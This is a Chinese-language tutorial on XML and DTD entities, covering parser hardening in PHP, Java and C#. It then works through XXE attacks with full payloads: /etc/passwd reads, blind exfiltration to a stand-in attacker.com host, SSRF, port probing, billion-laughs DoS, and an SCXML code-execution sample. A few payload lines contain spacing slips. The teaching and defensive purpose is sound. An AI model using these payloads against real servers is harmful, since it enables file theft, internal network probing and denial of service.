XML(可扩展标记语言)
XML 的定义
XML(eXtensible Markup Language,扩展标记语言)是一种用于描述结构化数据的标记语言,它类似于 HTML,但它的标签是自定义的。XML 的主要目的是传输和存储数据,而不是显示数据。
XML 的语法
XML文档由元素、属性、文本、CDATA、注释、处理指令和实体组成。
基本结构:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<element attribute="value">Text content</element>
<!-- This is a comment -->
</root>
主要组件:
- XML声明:定义XML版本和编码方式,如
<?xml version="1.0" encoding="UTF-8"?>
。 - 元素:数据的基本单位,如
<element>Text content</element>
。 - 属性:为元素提供附加信息,如
<element attribute="value">
。 - 文本:元素包含的内容,如
Text content
。 - 注释:用于说明的注释文本,如
<!-- This is a comment -->
。
DTD(文档类型定义)
DTD 的定义
DTD(Document Type Definition,文档类型定义)用于定义 XML 文档的结构和合法元素。DTD 可以在 XML 文档内部定义,也可以引用外部 DTD 文件。通过 DTD,可以定义元素、属性、实体和注释等。
DTD(文档类型定义)中主要包括以下几种类型的内容:
- 元素类型(Element Type):用于定义元素及其内容模型。
- 属性列表类型(Attribute List Type):用于定义元素的属性。
- 实体类型(Entity Type):用于定义和重用文本片段。
- 符号声明(Notation Declaration):用于定义非 XML 数据类型。
以下是一个综合示例,展示了如何在 DTD 中使用元素声明、属性声明和实体声明。不过针对 XXE 这里只需要关注「实体类型」即可。
<?xml version="1.0"?>
<!DOCTYPE bookstore [
<!-- 元素声明 -->
<!ELEMENT bookstore (book+)>
<!ELEMENT book (title, author, publisher)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT publisher (#PCDATA)>
<!-- 属性列表声明 -->
<!ATTLIST book
id ID #REQUIRED
category CDATA "fiction">
<!-- 内部实体声明 -->
<!ENTITY authorName "J.K. Rowling">
<!-- 外部实体声明 -->
<!ENTITY logo SYSTEM "http://www.example.com/logo.png">
<!-- 参数实体声明 -->
<!ENTITY % bookElements "(title, author, publisher)">
<!-- 符号声明 -->
<!NOTATION gif PUBLIC "image/gif" "http://www.example.com/gif">
]>
<bookstore>
<book id="b1" category="fantasy">
<title>Harry Potter</title>
<author>&authorName;</author>
<publisher>Bloomsbury</publisher>
</book>
</bookstore>
DTD 在 XML 中的声明
在 XML 文档中,可以通过内部和外部两种方式声明 DTD。
内部 DTD 声明
内部 DTD 在 XML 文档的开头部分声明,包含在 <!DOCTYPE>
声明中。内部 DTD 适用于较小的 XML 文档,便于文档的自包含和管理。
在 XML 中内部 DTD 声明格式如下:
<!DOCTYPE 根元素 [元素声明]>
根据 XML 规范,<!DOCTYPE>
声明中的根元素名称应与实际 XML 文档的根元素名称一致。这样可以确保文档类型定义(DTD)能够正确地约束和验证 XML 文档的结构。
但在实际应用中,许多 XML 解析器对这一点要求并不严格。在某些解析器中,即使 <!DOCTYPE>
声明中的根元素名称与实际 XML 文档的根元素名称不一致,解析器仍然会正常处理 XML 文档。这种情况通常出现在宽松的解析器或非严格验证模式下。
简而言之大多数情况下根元素可以随便起名。
下面是一个示例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
在上述示例中,内部 DTD 定义了 note
元素及其子元素 to
、from
、heading
和 body
。每个子元素都是 PCDATA(Parsed Character Data),表示可以包含文本数据。
外部 DTD 声明
外部 DTD 存储在单独的文件中,可以在 XML 文档中通过引用方式来使用。外部 DTD 适用于多个 XML 文档共享相同的 DTD 定义,便于维护和更新。
在 XML 中外部 DTD 声明格式如下(即内部 DTD 声明的 [元素声明]
替换为 SYSTEM "文件名"
):
<!DOCTYPE 根元素 SYSTEM "文件名">
下面是一个示例:
外部 DTD 文件:note.dtd
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
XML 文档引用外部 DTD 文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
在上述示例中,<!DOCTYPE note SYSTEM "note.dtd">
表示XML文档使用外部的 note.dtd
文件定义文档的结构。
DTD 实体的类型
DTD 实体是一种在 XML 文档中定义和引用数据的机制。实体可以看作是文本的占位符或变量,它们允许在文档中定义一次并在多处使用。DTD 实体主要用于简化文档的编写和维护,避免重复输入相同的文本或结构,确保数据的一致性。
DTD 实体分为普通实体和参数实体两种类型。每种类型又分为内部实体和外部实体两种。
普通实体
普通实体既可以在 XML 也可以在 DTD 中引用。
- 内部实体通过
<!ENTITY>
声明,主要用于定义并直接替换的文本,格式如下:
例如:<!ENTITY 实体名称 "实体的值">
<!ENTITY author "John Doe">
- 外部实通过
<!ENTITY>
声明,并使用SYSTEM
关键字指定外部资源的 URI。外部资源可以是文本文件、图像或其他数据,体格式如下:
例如:<!ENTITY 实体名称 SYSTEM "URI">
<!ENTITY logo SYSTEM "http://www.example.com/logo.png">
参数实体
参数实体是一种特殊的实体,用于在DTD中简化和重用定义。它具有以下特性:
- 参数实体只能在DTD中引用和使用:参数实体的定义和引用都必须在DTD中,不能在 XML 文档的主体部分使用。它们用于简化 DTD 的定义,使 DTD 更加模块化和可维护。
- 参数实体在本质上类似于编程语言中的宏定义:在 DTD 中引用参数实体时,会将参数实体的值替换到引用的位置。这种替换机制使得 DTD 更具灵活性和可重用性。
- 参数实体可以划分为内部实体和外部实体:内部实体是在 DTD 中直接定义值的实体,而外部实体是通过 URI 引用外部资源的实体。参数实体的唯一区别是它们的使用范围仅限于 DTD 内部。
参数实体可以是内部实体或外部实体,通过 %
符号进行声明和引用(注意 % 和实体名称之间要有空格),格式如下:
<!ENTITY % 实体名称 "实体的值">
<!ENTITY % 实体名称 SYSTEM "URI">
例如:
<!ENTITY % part1 "<to>John</to>">
<!ENTITY % part2 "<from>Jane</from>">
<!ENTITY % part3 "<heading>Meeting Reminder</heading>">
<!ENTITY % part4 "<body>Don't forget the meeting tomorrow!</body>">
DTD 实体的引用
特殊符号
在 XML 中,一些字符拥有特殊的意义,如果把这些直接放进 XML 元素中会产生错误。为了避免这个错误,我们可以用实体引用来替代这些特殊的字符。比如在 XML 中有 5 个预定义的实体引用:
&
:表示字符&
,用于表示与符号。<
:表示字符<
,用于表示小于号。>
:表示字符>
,用于表示大于号。"
:表示字符"
,用于表示双引号。'
:表示字符'
,用于表示单引号。
另外在 DTD 中,还有一些字符也是有特殊含义的,因此如果是要将参数实体引用到 DTD 中除了前面提到的 5 个预定义的实体引用外,还需要将参数实体的值中的一些特殊字符进行转义:
%
:引用参数实体的标记,需要转义为%
。;
:表示实体引用的结束符。这个符号不需要转义,但必须正确使用。
引用普通实体
普通实体引用是通过 &
符号进行的。引用实体时,需要使用实体名,并以 ;
结束。
<!DOCTYPE note [
<!ENTITY author "John Doe">
<!ENTITY logo SYSTEM "http://www.example.com/logo.png">
]>
<note>
<to>&author;</to>
<from>Jane</from>
<heading>Reminder</heading>
<body>Don't forget the meeting tomorrow!</body>
<img src="&logo;" />
</note>
在上述示例中:
&author;
引用内部实体author
,其值为John Doe
。&logo;
引用外部实体logo
,其值为logo.png
。
引用参数实体
<!ENTITY % part1 "<to>John</to>">
<!ENTITY % part2 "<from>Jane</from>">
<!ENTITY % part3 "<heading>Meeting Reminder</heading>">
<!ENTITY % part4 "<body>Don't forget the meeting tomorrow!</body>">
<!ELEMENT note (%part1;, %part2;, %part3;, %part4;)>
在上述示例中,参数实体 %part1;
、%part2;
、%part3;
和 %part4;
分别定义了 to
、from
、heading
和 body
元素,便于在 DTD 中重用。
参数实体的引用有如下特点:
-
对于 XML 内部 DTD 声明,无论是内部参数实体还是外部参数实体,只有独立引用可以正确引用,而在外部实体的 URI 或内部的值中引用都会引用失败。
-
对于外部 DTD 声明限制比较宽松,除了外部实体的 URL 外都可引用。其中可以引用参数实体的内部实体可以是参数实体。
注意对于「URI 中引用参数实体的内部参数实体」这里 URI 中引用参数实体是否有限制取决于定义「URI 中引用参数实体的内部参数实体」的定义位置,而不是「URI 中引用参数实体的内部参数实体」的引用位置。当然这种特性也可以理解为:如果发生在「内部 DTD 声明」中引用「URI 中引用参数实体的内部参数实体」那么说明「URI 中引用参数实体的内部参数实体」所在的外部 DTD 已经通过「外部实体」引用到「内部 DTD 声明」中了,因此「URI 中引用参数实体的内部参数实体」无论引用到外部 DTD 还是「内部 DTD 声明」中都是等价的。
- 外部 DTD 声明与外部参数声明引用外部 DTD 在功能上等价。
<!DOCTYPE internal_impl [ <!ENTITY % local_external_arg SYSTEM "http://example.com/external.dtd"> %local_external_arg; ]> <!DOCTYPE external_impl SYSTEM "http://example.com/external.dtd">
不过「外部参数声明引用外部 DTD」这种方法可以(部分)无视程序中「禁用外部 DTD 声明」的限制,另外这种方法相当于将外部的 DTD 内联进来,因此可以在接下来引用外部 DTD 中的参数实体,但在引用参数实体的限制上方面与内部 DTD 声明同样严格。
-
另外参数实体引用还有一个坑点,如果是独立引用两个参数实体写在一行中间必须要有空格分隔开,例如:
%参数实体1; %参数实体2;
XML 解析
PHP
libxml
libxml
是 PHP 中内置的解析 XML 的库,支持 DOM 和 SAX 解析。
<?php
$xmlData = '<!DOCTYPE root [<!ENTITY example "example_value">]><root>&example;</root>';
// 创建一个新的 DOMDocument 对象
$dom = new DOMDocument();
// 禁用外部实体加载
libxml_disable_entity_loader(true);
// 加载 XML 数据
$dom->loadXML($xmlData, LIBXML_NOENT | LIBXML_DTDLOAD);
// 显示文档内容
echo $dom->saveXML();
?>
保护措施:
- 解析 XML 的核心函数
$dom->loadXML
方法的第二个参数(默认为 0,内部 DTD 声明的外部实体不受影响,但外部 DTD 声明受影响。)是用于指定加载XML文档时的选项标志。这些标志可以控制解析器的行为,提供额外的安全和性能控制。LIBXML_NOENT
(2):替换实体引用。这会导致解析器替换所有实体引用(包括外部实体),可能引发安全风险(如XXE攻击)。LIBXML_DTDLOAD
(4):加载外部 DTD 子集。这会使解析器加载并解析外部 DTD 定义,同样可能引发XXE攻击。LIBXML_DTDATTR
(8):默认地将 DTD 属性值添加到文档中。解析器会将 DTD 中的默认属性值添加到相应的元素中。LIBXML_DTDVALID
(16):验证文档是否符合 DTD 定义。如果不符合,解析器会抛出错误。LIBXML_NOCDATA
(32):合并 CDATA 段。这会将 CDATA 段的内容合并为文本节点。LIBXML_NOWARNING
(64):抑制警告。如果不希望看到警告信息,可以使用此标志。LIBXML_NOERROR
(128):抑制错误。如果不希望看到错误信息,可以使用此标志。LIBXML_NONET
(2048):禁用网络访问。这可以防止解析器在解析过程中访问网络资源,从而提高安全性。
libxml_disable_entity_loader
:PHP 中的一个函数,用于控制 Libxml 库是否允许加载外部实体。这个函数通过一个布尔参数来启用或禁用外部实体加载。true
:禁用外部实体加载,内部 DTD 声明的外部实体也会被禁止。false
:允许外部实体加载(这是默认行为)。
SimpleXML
SimpleXML
是一个高级的 XML 解析接口,它提供了一个简单的方式来处理 XML 文档,但在底层它实际上使用了 libxml
库进行实际的解析工作,因此相关属性设置与 libxml
相同。
<?php
$xmlData = '<!DOCTYPE root [<!ENTITY example "example_value">]><root>&example;</root>';
// 禁用外部实体加载
libxml_disable_entity_loader(true);
// 加载 XML 数据
$simpleXml = simplexml_load_string($xmlData, 'SimpleXMLElement', LIBXML_NOENT | LIBXML_DTDLOAD);
// 显示 XML 对象
print_r($simpleXml);
?>
JAVA
JAXP (Java API for XML Processing)
JAXP(Java API for XML Processing)是 Java 中常用的解析 XML 的 API,提供了 SAX、DOM 和 StAX 解析器。JAXP 允许应用程序以独立于具体解析器实现的方式来解析和生成 XML。
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.DocumentBuilder;
import org.w3c.dom.Document;
import java.io.StringReader;
import org.xml.sax.InputSource;
public class XMLParser {
public static void main(String[] args) throws Exception {
String xmlData = "<!DOCTYPE root [<!ENTITY example \"example_value\">]><root>&example;</root>";
// 创建 DocumentBuilderFactory 实例
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 禁用外部实体解析
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// 禁用 DTD 声明
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 创建 DocumentBuilder 实例
DocumentBuilder builder = factory.newDocumentBuilder();
// 解析 XML 数据
Document document = builder.parse(new InputSource(new StringReader(xmlData)));
// 打印根元素名称
System.out.println(document.getDocumentElement().getNodeName());
}
}
保护措施:
-
禁用外部实体解析:
- 禁用外部通用实体解析:
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
- 禁用外部参数实体解析:
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
- 禁用外部通用实体解析:
-
禁用DTD声明:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
Apache Commons SCXML
Apache Commons SCXML
是一个用于解析和执行基于状态图的 XML 库,支持 SCXML(State Chart XML)标准。
import org.apache.commons.scxml2.SCXMLExecutor;
import org.apache.commons.scxml2.io.SCXMLReader;
import org.apache.commons.scxml2.model.ModelException;
import org.apache.commons.scxml2.model.SCXML;
import javax.xml.stream.XMLStreamException;
import java.io.IOException;
public class SCXMLDemo {
public static void main(String[] args) throws ModelException, XMLStreamException, IOException {
// 创建 SCXMLExecutor 实例,用于执行 SCXML 实例
SCXMLExecutor executor = new SCXMLExecutor();
// 解析 SCXML URL 到 SCXML 模型
SCXML scxml = SCXMLReader.read("http://127.0.0.1:8000/poc.xml");
// 设置状态机(SCXML 实例)以执行
executor.setStateMachine(scxml);
executor.go();
}
}
这个库在解析 XML 代码的时候对于特殊标签中的内容会当做代码执行。
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<script>
''.getClass().forName('java.lang.Runtime').getRuntime().exec('open -a calculator')
</script>
</onentry>
</state>
</scxml>
C#
使用 System.Xml 和 XmlReader
using System;
using System.Xml;
public class XMLParser
{
public static void Main()
{
string xmlData = "<!DOCTYPE root [<!ENTITY example \"example_value\">]><root>&example;</root>";
// 创建 XmlReaderSettings 实例
XmlReaderSettings settings = new XmlReaderSettings();
// 禁用 DTD 处理
settings.DtdProcessing = DtdProcessing.Prohibit;
// 使用 XmlReader 解析 XML 数据
using (XmlReader reader = XmlReader.Create(new System.IO.StringReader(xmlData), settings))
{
while (reader.Read())
{
if (reader.NodeType == XmlNodeType.Element && reader.Name == "root")
{
Console.WriteLine("Root element found");
}
}
}
}
}
XmlDocument
using System;
using System.Xml;
public class XMLParser
{
public static void Main()
{
string xmlData = "<!DOCTYPE root [<!ENTITY example \"example_value\">]><root>&example;</root>";
// 创建 XmlDocument 实例
XmlDocument doc = new XmlDocument();
// 禁用 DTD 处理
doc.XmlResolver = null;
// 加载 XML 数据
doc.LoadXml(xmlData);
// 获取根元素
XmlElement root = doc.DocumentElement;
// 打印根元素名称
Console.WriteLine(root.Name);
}
}
XML 外部实体注入
XML 外部实体注入(XML External Entity Injection,简称 XXE)是一种攻击技术,利用 XML 解析器在解析外部实体时的漏洞,执行恶意操作。攻击者可以通过 XXE 攻击读取文件系统中的敏感信息、进行网络探测、甚至执行远程代码。
XML 注入方法
外部 DTD 声明注入
通过外部 DTD 声明引入 DTD 然后将引入的 DTD 的实体注入到 XML 代码中。
这里举一个任意文件读的例子。首先发送的 XML 文本如下,其中有一个外部 DTD 声明指向了 http://attacker.com/xxe.dtd
。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo SYSTEM "http://attacker.com/xxe.dtd">
<user>
<username>&xxe;</username>
<password>admin</password>
</user>
http://attacker.com/xxe.dtd
中有一个外部实体,值为 /etc/passwd
的文件内容。
<!ENTITY xxe SYSTEM "file:///etc/passwd">
如果提交 XML 文档后服务器会回显其解析后的内容则能够成功读取 /etc/passwd
的文件。
外部实体注入
外部实体注入可以适用于一些限制外部 DTD 声明注入的情境。我们直接在 XML 文档中添加内部 DTD 声明,然后在内部 DTD 声明中添加外部实体即可。效果与外部 DTD 声明注入相同。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<username>&xxe;</username>
<password>admin</password>
</user>
Blind XXE
如果提交 XML 文档后服务器不会回显其解析后的内容,那么需要利用 XML 解析时的特性来将数据回传,这就是 Blind XXE 技术。
Blind XXE 技术依赖于参数实体引用,因为Blind XXE 技术的本质就是通过参数实体引用把要回传的数据替换到另一个外部参数实体 URL 参数中实现数据回传。
为了能够做到这一点,根据参数实体引用的特性,我们首先需要将参数实体引用定义到外部 DTD(内部 DTD 声明中不能在内部实体的值中引入参数实体,外部 DTD 没有这个限制),然后利用外部实体注入(也可以使用外部 DTD 声明注入,只不过外部实体注入适用范围更广)将该 DTD 引入 XML 文档。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY %xxe SYSTEM "http://attacker.com/xxe.dtd">
% xxe;
]>
<user>
<username>admin</username>
<password>admin</password>
</user>
在 xxe.dtd
中我们定义了 %read
参数实体,引用该实体就能将目标文件内容的 base64 形式替换到引用处。
根据参数实体引用的特性,即便是外部 DTD 也不能在 URI 中引用参数实体,因此需要先将外部实体 %send
用另一个内部参数实体 %write
表示,这样就可以将 %send
对应的值替换到 %write
表示的外部实体 %send
的 URL 中。
在 DTD 中引用 %write
就可以将替换后的外部实体 %send
引入到 DTD 文档中。
这里假定 %send
是参数实体,那么在 DTD 中引用 %send
则 XML 解析器就会根据 %send
对应的 URI 取请求 %send
的值,在这个过程中 %read
的值作为参数传到了 www.attacker.com
。
<!ENTITY % read SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % write "<!ENTITY % send SYSTEM 'http://attacker.com/?leak=%read;'>">
%write; %send;
在理解原理之后我们可以很轻松的写出上述 payload 的一些变种。
例如我们可以将 send
由参数实体改为普通实体:
<!ENTITY % write "<!ENTITY send SYSTEM 'http://attacker.com/?leak=%read;'>">
此时我们只需要在 XML 文档中引用 send
就可以实现同样效果:
<foo>&send;</foo>
根据参数实体引用的特性,引用参数实体的时机也不是那么固定,我们可以在 XML 中的内部 DTD 声明中引用 %write
和 %send
,但是要确保引用 %send
前 %write
已经在外部 DTD 或者 XML 中已经被引用过了。
<!DOCTYPE foo [
<!ENTITY %xxe SYSTEM "http://attacker.com/xxe.dtd">
% xxe; %write; %send;
]>
XML 注入应用
XXE 的核心就是泄露,因此下面介绍的主要是在有任意 URI 读取的情况下我们可以做什么。
文件泄露攻击
文件泄露攻击是 XXE 攻击中最常见的一种。攻击者通过注入一个外部实体,该实体指向服务器上的文件。解析器在解析这个外部实体时,会将文件的内容返回给攻击者。
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
这个 XML 文档会尝试读取服务器上的 /etc/passwd
文件,并将其内容包含在返回的 XML 文档中。
服务器端请求伪造(SSRF)
服务器端请求伪造攻击利用 XXE,使解析器向内网或其他服务器发送请求。攻击者可以利用这种方式访问内网服务或进行其他网络攻击。
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://internal-service.local/secret">
]>
<root>&xxe;</root>
这个 XML 文档会使解析器向 http://internal-service.local/secret
发送请求,并将响应包含在返回的XML文档中。
本地端口扫描
攻击者可以利用XXE来使服务器对其自身进行端口扫描,以检测内部网络服务。
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://127.0.0.1:22">
]>
<root>&xxe;</root>
这个 XML 文档会使解析器尝试连接本地的 22 端口(通常是 SSH 服务),从响应中可以判断该端口是否开放。
拒绝服务(DoS)
如果禁用外部实体加载那么就无法泄露,但是我们仍然可以进行拒绝服务攻击。通过XXE攻击,可以构造递归实体,使解析器陷入无限循环,从而耗尽系统资源,导致拒绝服务(DoS)攻击。
不过现代 XML 解析器都具有循环实体引用检测功能,以防止 DoS 攻击。因此,即使尝试在 XML 中使用循环实体引用来引发 DoS 攻击,解析器也会检测并阻止这种行为,确保系统安全。
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe "&xxe;">
]>
<root>&xxe;</root>
<!DOCTYPE bomb [
<!ENTITY a "a">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
<!ENTITY e "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
<!ENTITY f "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
<!ENTITY g "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
<!ENTITY h "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
<!ENTITY i "&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;">
<!ENTITY j "&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;">
]>
<bomb>&j;</bomb>